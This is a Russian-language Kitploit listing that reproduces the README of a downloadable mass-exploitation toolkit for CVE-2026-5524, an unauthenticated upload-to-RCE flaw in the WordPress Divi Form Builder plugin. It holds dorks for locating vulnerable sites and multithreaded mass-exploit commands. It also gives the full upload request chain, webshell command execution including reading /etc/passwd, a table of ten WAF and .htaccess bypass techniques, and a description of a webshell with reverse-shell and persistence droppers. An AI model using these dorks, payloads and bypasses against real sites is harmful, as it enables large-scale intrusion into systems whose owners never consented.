Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-5524-PoC — Массовый набор эксплойтов для CVE-2026-5524, неаутентифицированная загрузка файлов с удаленным выполнением кода (RCE) в Divi Form Builder. Включает многопоточное сканирование, методы обхода WAF, развертывание пользовательского веб-шелла и интерактивное выполнение команд. | Kitploit
Инструменты/GitHubGitHub/caterscam/cve-2026-5524-poc
РазведкаСканеры уязвимостейЭксплуатацияШелл-кодЭксплуатация веб-приложенийСбор информацииОбход WAFТестирование на ПроникновениеКомандование и Управление

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Red Teaming
Разработка Полезной Нагрузки
GitHubcaterscam/cve-2026-5524-poc

CVE-2026-5524-PoC

Массовый набор эксплойтов для CVE-2026-5524, неаутентифицированная загрузка файлов с удаленным выполнением кода (RCE) в Divi Form Builder. Включает многопоточное сканирование, методы обхода WAF, развертывание пользовательского веб-шелла и интерактивное выполнение команд.

Репозиторий
1142 месяцев назадЕщё не проверено
Поделиться

CVE-2026-5524 — Удаленное выполнение кода без аутентификации в Divi Form Builder

Массовый эксплойт-инструментарий для CVE-2026-5524 — уязвимости произвольной загрузки файлов без аутентификации в плагине WordPress Divi Form Builder <= 5.1.8, приводящей к удаленному выполнению кода.

version Devon Aji python telegram

ПолеЗначение
CVE2026-5524
CVSS9.8 (Критический)
ВекторAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Затронутые версииDivi Form Builder <= 5.1.8
Исправлено в5.1.9
ТипНезарегистрированная загрузка файла до RCE
Исследователь0xd4rk5id3 - EnvoraSec

Содержание

  • Описание
  • Дорки
  • Установка
  • Использование
    • Одиночная цель
    • Массовый эксплойт
    • Продвинутая обходная техника
    • Выполнение команд
  • Детали уязвимости
  • Методы обхода
  • Технический стек
  • Структура проекта
  • Схема атаки
  • Отказ от ответственности

Описание

Плагин Divi Form Builder для WordPress содержит уязвимость произвольной загрузки файлов без аутентификации. Обработчик do_image_upload() передает управляемый пользователем POST-параметр acceptFileTypes напрямую в регулярное выражение, используемое для проверки расширений файлов. Указывая значение, например phtml, злоумышленник может обойти правило .htaccess плагина, которое блокирует только расширение .php, и загрузить веб-шелл с исполняемым PHP-расширением (.phtml, .phar, .php5, .php7 и подобные).

После размещения файла в /wp-content/uploads/de_fb_uploads/ Apache выполняет его как PHP, предоставляя злоумышленнику удаленное выполнение кода от имени пользователя веб-сервера.

Проблема исправлена в Divi Form Builder 5.1.9.


Дорки

FOFA

root@kitploit:~
body="de_fb_obj" && body="fb_nonce"

Shodan

root@kitploit:~
http.html:"de_fb_obj" http.html:"fb_nonce"

Google

root@kitploit:~
inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

root@kitploit:~
app:"WordPress" && body:"de_fb_obj"

Censys

root@kitploit:~
services.http.response.body: "de_fb_obj"

Установка

Требования: Python 3.8 или новее на Linux, macOS или WSL.

root@kitploit:~
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Использование

Одиночная цель

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com

Массовый эксплойт

root@kitploit:~
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Продвинутая обходная техника

Для целей, защищенных WAF (NinjaFirewall, Wordfence, ModSecurity) или с усиленной конфигурацией Apache или nginx.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Выполнение команд

После успешной загрузки скрипт может немедленно выполнить команду или перейти в интерактивный шелл.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Флаги


Детали уязвимости

Уязвимый код

Уязвимый обработчик создает регулярное выражение из пользовательского ввода без санитизации.

root@kitploit:~
public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

Отправляя acceptFileTypes=phtml, итоговое выражение /\.(phtml)$/i сопоставляется с именами файлов, заканчивающимися на .phtml, хотя собственный файл .htaccess плагина блокирует только расширение .php. Apache затем выполняет загруженный файл как PHP, что приводит к удаленному выполнению кода.

Подтвержденная цепочка атаки

  1. Обойти страницу, содержащую форму Divi Form Builder (/, /contact, /quote и т.д.). Добавить параметр ?nocache=<случайное> для обхода Varnish, WP Rocket и других кешей страниц, которые иначе будут выдавать устаревший nonce.

  2. Извлечь значение fb_nonce из локализованного JavaScript-объекта:

    root@kitploit:~
    de_fb_obj = {"fb_nonce":"<10 hex-символов>", ...}
    
  3. Отправить multipart-форму на /wp-admin/admin-ajax.php с параметрами:

    root@kitploit:~
    action=de_fb_image_upload
    fb_nonce=<nonce>
    acceptFileTypes=phtml
    [email protected]
    
  4. Прочитать URL файла из JSON-ответа:

    root@kitploit:~
    {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
    
  5. Запросить шелл с командами в base64:

    root@kitploit:~
    curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
    

Методы обхода

Скрипт пробует каждую технику в порядке приоритета, а при установленном флаге --aggressive пытается все, даже если первая загрузка сообщает об успехе.


Технический стек

Скрипт эксплойта

Пользовательский шелл (bypass.phtml)


Структура проекта

root@kitploit:~
cve-2026-5524/
|-- CVE-2026-5524.py          Основной скрипт эксплойта
|-- bypass.phtml              16-КБ многоуровневый PHP-веб-шелл
|-- htaccess_enable.phtml     Дроппер, записывающий повторно активирующий .htaccess
|-- user_ini.phtml            Дроппер, записывающий .user.ini для PHP-FPM
|-- targets.txt               Пример списка целей
|-- pwned.jsonl               Создается флагом -o при массовом сканировании
|-- requirements.txt          Python-зависимости
`-- README.md                 Этот документ

Схема атаки

root@kitploit:~
+--------------------------------------------------+
| 1. Разведка                                      |
|    GET /?nocache=<случайное>                     |
|    Извлечь fb_nonce из de_fb_obj                 |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Подготовка эксплойта                          |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. Сервер принимает и сохраняет файл             |
|    /uploads/de_fb_uploads/<случайное>.phtml      |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Выполнение                                    |
|    GET shell.phtml?x=base64(команда)             |
|    Удаленное выполнение кода достигнуто          |
+--------------------------------------------------+

Отказ от ответственности

Этот инструмент предназначен для образовательных целей и использования в рамках авторизованных тестов на проникновение. Примеры допустимого использования включают:

  • Программы bug bounty, явно разрешающие тестирование цели
  • Соревнования Capture the flag и выделенные лабораторные среды
  • Внутренние оценки безопасности с письменного разрешения владельца ресурса
  • Академические исследования безопасности, проводимые в контролируемой среде

Неавторизованное использование систем, которыми вы не владеете или на тестирование которых не имеете явного письменного разрешения, является незаконным практически во всех юрисдикциях и строго запрещено. Автор не поощряет и не несет ответственности за неправильное использование этого кода.

J'ai la permission et je suis autorisé à effectuer ce pentest. (У меня есть разрешение, и я уполномочен выполнять этот тест на проникновение.)

Вероятно применимы законы, включая Уголовный кодекс Индонезии (UU ITE), Американский закон о мошенничестве и злоупотреблении компьютерными данными (CFAA), Конвенцию Совета Европы о киберпреступности и аналогичное законодательство в других странах. В случае сомнений сначала получите письменное разрешение.


Лицензия

Только для образовательного использования. См. раздел отказа от ответственности для полных условий использования.

Скачать инструмент
ФлагОписание
-u URLURL одиночной цели
-l FILEФайл со списком целей, по одному URL на строку
-t NКоличество параллельных потоков (по умолчанию 10)
--timeout NТайм-аут запроса в секундах (по умолчанию 15)
-o FILEСохранить результаты в JSONL-файл
--proxy URLНаправить трафик через HTTP-прокси
--nonce HASHИспользовать вручную указанный nonce, пропуская автоопределение
--ext EXTПринудительно использовать одно расширение вместо полного списка обхода
--shellПерейти в интерактивный RCE-шелл при успехе (только для одиночной цели)
--cmd CMDВыполнить одну команду на цели и выйти
--shell-file FILEЗагрузить пользовательскую полезную нагрузку шелла вместо встроенной
--no-verifyПропустить этап верификации RCE после загрузки
--strict-verifyПодтвердить, что URL шелла возвращает HTTP 200, для фильтрации ложных срабатываний
--user-iniЗагрузить дроппер .user.ini для окружений PHP-FPM
--htaccessЗагрузить повторно активирующий .htaccess для окружений Apache
--aggressiveВключить все доступные методы обхода
--null-byteВключить попытки с нулевым байтом и двойным расширением
--path-traversalПопытаться загрузить в подкаталоги /uploads/YYYY/MM/
--debugВыводить необработанные HTTP-ответы для диагностики
№ТехникаЦель
1Альтернативные PHP-расширения .phtml, .phar, .php5, .php7, .php4, .pht, .shtmlПравило .htaccess плагина, блокирующее только .php
2Изменение регистра .PHTML, .PHP5, .PhTmLЧувствительные к регистру сигнатуры WAF (NinjaFirewall)
3Двойное расширение .phtml.jpg, .php.jpgОсобенности согласования содержимого Apache mod_mime
4Нулевой байт .php%00.jpg, .phtml%00.txtСтарые версии PHP (менее 5.3.4) и некоторые парсеры
5Завершающий пробел или точка .php , .php.Windows IIS и старые версии Apache
6Подмена Content-Type application/octet-streamWAF, ориентирующиеся на заголовок Content-Type в multipart
7Загрузка реального .htaccess, заново включающего PHP для .gif, .png, .jpg, .txt, .html и т.д.Серверы Apache с включенным AllowOverride All
8Загрузка .user.ini с auto_prepend_fileОкружения PHP-FPM
9Внедрение имени файла через манипуляции с границами multipartПрокси и WAF, повторно разбирающие тело запроса
10Path traversal ../shell.phtml в имени файлаОграничения каталогов плагина
КомпонентТехнология
ЯзыкPython 3.8+
HTTP-клиентrequests
Обработка TLSurllib3 в небезопасном режиме для самоподписанных сертификатов
Параллелизмconcurrent.futures.ThreadPoolExecutor для массового сканирования
Разборre для извлечения nonce, json для обработки ответов
Кодированиеbase64 для параметра команды веб-шелла
CLIargparse с 19 настраиваемыми флагами
КомпонентТехнология
ЯзыкPHP 7.0+
Функции выполненияsystem(), shell_exec(), proc_open(), passthru(), popen()
ИнтерфейсПростая HTML-форма, без JavaScript-фреймворков
ВозможностиПросмотр файлов, выполнение команд, доступ к БД, реверс-шелл, самоустанавливающиеся .htaccess и .user.ini
РазмерПримерно 16 КБ
Уровни обходаШесть независимых путей выполнения плюс закодированные полезные нагрузки